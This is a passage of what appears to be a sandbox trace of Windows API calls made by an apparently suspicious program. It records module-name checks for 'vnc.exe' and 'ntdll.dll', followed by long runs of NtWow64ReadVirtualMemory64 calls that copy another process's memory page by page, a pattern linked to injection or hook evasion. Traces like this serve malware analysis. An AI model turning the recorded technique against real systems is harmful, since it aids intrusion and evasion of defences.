Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0136.195] StrRChrA (lpStart="C:\\Windows\\system32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0136.196] LocalFree (hMem=0x7392a0) returned 0x0 [0136.197] LocalFree (hMem=0x72e060) returned 0x0 [0136.197] lstrcmpiA (lpString1="vnc.exe", lpString2="NTDLL.DLL") returned 1 [0136.197] StrChrA (lpStart="vnc.exe", wMatch=0x2e) returned=".exe" [0136.197] lstrcmpiA (lpString1="vnc", lpString2="NTDLL.DLL") returned 1 [0136.197] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0136.197] VirtualFree (lpAddress=0x830000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0136.198] VirtualAlloc (lpAddress=0x0, dwSize=0x1c1000, flAllocationType=0x3000, flProtect=0x4) returned 0x24f0000 [0136.198] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a0000, Buffer=0x7fff, BufferSize=0x24f0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.198] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a1000, Buffer=0x7fff, BufferSize=0x24f1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.198] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a2000, Buffer=0x7fff, BufferSize=0x24f2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.199] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a3000, Buffer=0x7fff, BufferSize=0x24f3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.199] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a4000, Buffer=0x7fff, BufferSize=0x24f4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.199] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a5000, Buffer=0x7fff, BufferSize=0x24f5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.199] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a6000, Buffer=0x7fff, BufferSize=0x24f6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.199] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a7000, Buffer=0x7fff, BufferSize=0x24f7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.200] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a8000, Buffer=0x7fff, BufferSize=0x24f8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.200] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a9000, Buffer=0x7fff, BufferSize=0x24f9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.200] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07aa000, Buffer=0x7fff, BufferSize=0x24fa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.200] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ab000, Buffer=0x7fff, BufferSize=0x24fb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.200] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ac000, Buffer=0x7fff, BufferSize=0x24fc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.201] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ad000, Buffer=0x7fff, BufferSize=0x24fd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.201] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ae000, Buffer=0x7fff, BufferSize=0x24fe000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.201] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07af000, Buffer=0x7fff, BufferSize=0x24ff000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.201] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b0000, Buffer=0x7fff, BufferSize=0x2500000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.201] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b1000, Buffer=0x7fff, BufferSize=0x2501000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.202] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b2000, Buffer=0x7fff, BufferSize=0x2502000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.202] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b3000, Buffer=0x7fff, BufferSize=0x2503000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.202] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b4000, Buffer=0x7fff, BufferSize=0x2504000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.202] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b5000, Buffer=0x7fff, BufferSize=0x2505000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.202] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b6000, Buffer=0x7fff, BufferSize=0x2506000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.203] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b7000, Buffer=0x7fff, BufferSize=0x2507000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.203] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b8000, Buffer=0x7fff, BufferSize=0x2508000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.203] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07b9000, Buffer=0x7fff, BufferSize=0x2509000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.203] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ba000, Buffer=0x7fff, BufferSize=0x250a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.203] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bb000, Buffer=0x7fff, BufferSize=0x250b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.204] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bc000, Buffer=0x7fff, BufferSize=0x250c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.204] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bd000, Buffer=0x7fff, BufferSize=0x250d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.204] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07be000, Buffer=0x7fff, BufferSize=0x250e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.204] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07bf000, Buffer=0x7fff, BufferSize=0x250f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.204] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c0000, Buffer=0x7fff, BufferSize=0x2510000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.204] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c1000, Buffer=0x7fff, BufferSize=0x2511000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.205] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c2000, Buffer=0x7fff, BufferSize=0x2512000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.205] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c3000, Buffer=0x7fff, BufferSize=0x2513000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.205] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c4000, Buffer=0x7fff, BufferSize=0x2514000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.205] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c5000, Buffer=0x7fff, BufferSize=0x2515000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.205] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c6000, Buffer=0x7fff, BufferSize=0x2516000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.206] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c7000, Buffer=0x7fff, BufferSize=0x2517000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.206] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c8000, Buffer=0x7fff, BufferSize=0x2518000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.206] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07c9000, Buffer=0x7fff, BufferSize=0x2519000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.206] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ca000, Buffer=0x7fff, BufferSize=0x251a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.206] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cb000, Buffer=0x7fff, BufferSize=0x251b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.206] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cc000, Buffer=0x7fff, BufferSize=0x251c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.207] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cd000, Buffer=0x7fff, BufferSize=0x251d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.207] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ce000, Buffer=0x7fff, BufferSize=0x251e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.207] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07cf000, Buffer=0x7fff, BufferSize=0x251f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.207] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d0000, Buffer=0x7fff, BufferSize=0x2520000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.207] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d1000, Buffer=0x7fff, BufferSize=0x2521000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.207] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d2000, Buffer=0x7fff, BufferSize=0x2522000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.208] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d3000, Buffer=0x7fff, BufferSize=0x2523000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.208] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d4000, Buffer=0x7fff, BufferSize=0x2524000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.208] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d5000, Buffer=0x7fff, BufferSize=0x2525000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.208] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d6000, Buffer=0x7fff, BufferSize=0x2526000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.208] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d7000, Buffer=0x7fff, BufferSize=0x2527000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.209] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d8000, Buffer=0x7fff, BufferSize=0x2528000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.209] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07d9000, Buffer=0x7fff, BufferSize=0x2529000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.209] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07da000, Buffer=0x7fff, BufferSize=0x252a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.209] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07db000, Buffer=0x7fff, BufferSize=0x252b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.209] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dc000, Buffer=0x7fff, BufferSize=0x252c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.209] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07dd000, Buffer=0x7fff, BufferSize=0x252d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.210] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07de000, Buffer=0x7fff, BufferSize=0x252e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.210] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07df000, Buffer=0x7fff, BufferSize=0x252f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.210] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e0000, Buffer=0x7fff, BufferSize=0x2530000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.211] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e1000, Buffer=0x7fff, BufferSize=0x2531000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.211] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e2000, Buffer=0x7fff, BufferSize=0x2532000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.211] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e3000, Buffer=0x7fff, BufferSize=0x2533000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.211] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e4000, Buffer=0x7fff, BufferSize=0x2534000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.212] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e5000, Buffer=0x7fff, BufferSize=0x2535000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.212] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e6000, Buffer=0x7fff, BufferSize=0x2536000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.212] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e7000, Buffer=0x7fff, BufferSize=0x2537000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.212] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e8000, Buffer=0x7fff, BufferSize=0x2538000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.212] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07e9000, Buffer=0x7fff, BufferSize=0x2539000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.212] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ea000, Buffer=0x7fff, BufferSize=0x253a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.213] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07eb000, Buffer=0x7fff, BufferSize=0x253b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.213] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ec000, Buffer=0x7fff, BufferSize=0x253c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.213] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ed000, Buffer=0x7fff, BufferSize=0x253d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.213] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ee000, Buffer=0x7fff, BufferSize=0x253e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.213] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ef000, Buffer=0x7fff, BufferSize=0x253f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.214] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f0000, Buffer=0x7fff, BufferSize=0x2540000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.214] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f1000, Buffer=0x7fff, BufferSize=0x2541000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.214] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f2000, Buffer=0x7fff, BufferSize=0x2542000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.214] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f3000, Buffer=0x7fff, BufferSize=0x2543000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.214] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f4000, Buffer=0x7fff, BufferSize=0x2544000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.214] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f5000, Buffer=0x7fff, BufferSize=0x2545000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.215] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f6000, Buffer=0x7fff, BufferSize=0x2546000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.215] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f7000, Buffer=0x7fff, BufferSize=0x2547000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.215] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f8000, Buffer=0x7fff, BufferSize=0x2548000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.215] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07f9000, Buffer=0x7fff, BufferSize=0x2549000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.215] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fa000, Buffer=0x7fff, BufferSize=0x254a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.216] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fb000, Buffer=0x7fff, BufferSize=0x254b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.216] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fc000, Buffer=0x7fff, BufferSize=0x254c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.216] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fd000, Buffer=0x7fff, BufferSize=0x254d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.216] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07fe000, Buffer=0x7fff, BufferSize=0x254e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.216] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07ff000, Buffer=0x7fff, BufferSize=0x254f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.217] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0800000, Buffer=0x7fff, BufferSize=0x2550000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.217] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0801000, Buffer=0x7fff, BufferSize=0x2551000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.217] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0802000, Buffer=0x7fff, BufferSize=0x2552000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.217] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0803000, Buffer=0x7fff, BufferSize=0x2553000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.217] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0804000, Buffer=0x7fff, BufferSize=0x2554000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.217] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0805000, Buffer=0x7fff, BufferSize=0x2555000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.218] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0806000, Buffer=0x7fff, BufferSize=0x2556000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.218] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0807000, Buffer=0x7fff, BufferSize=0x2557000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.218] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0808000, Buffer=0x7fff, BufferSize=0x2558000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.218] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0809000, Buffer=0x7fff, BufferSize=0x2559000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.218] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080a000, Buffer=0x7fff, BufferSize=0x255a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.219] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080b000, Buffer=0x7fff, BufferSize=0x255b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.219] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080c000, Buffer=0x7fff, BufferSize=0x255c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.219] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080d000, Buffer=0x7fff, BufferSize=0x255d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.219] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080e000, Buffer=0x7fff, BufferSize=0x255e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0136.219] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf080f000, Buffer=0x7fff, BufferSize=0x255f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, 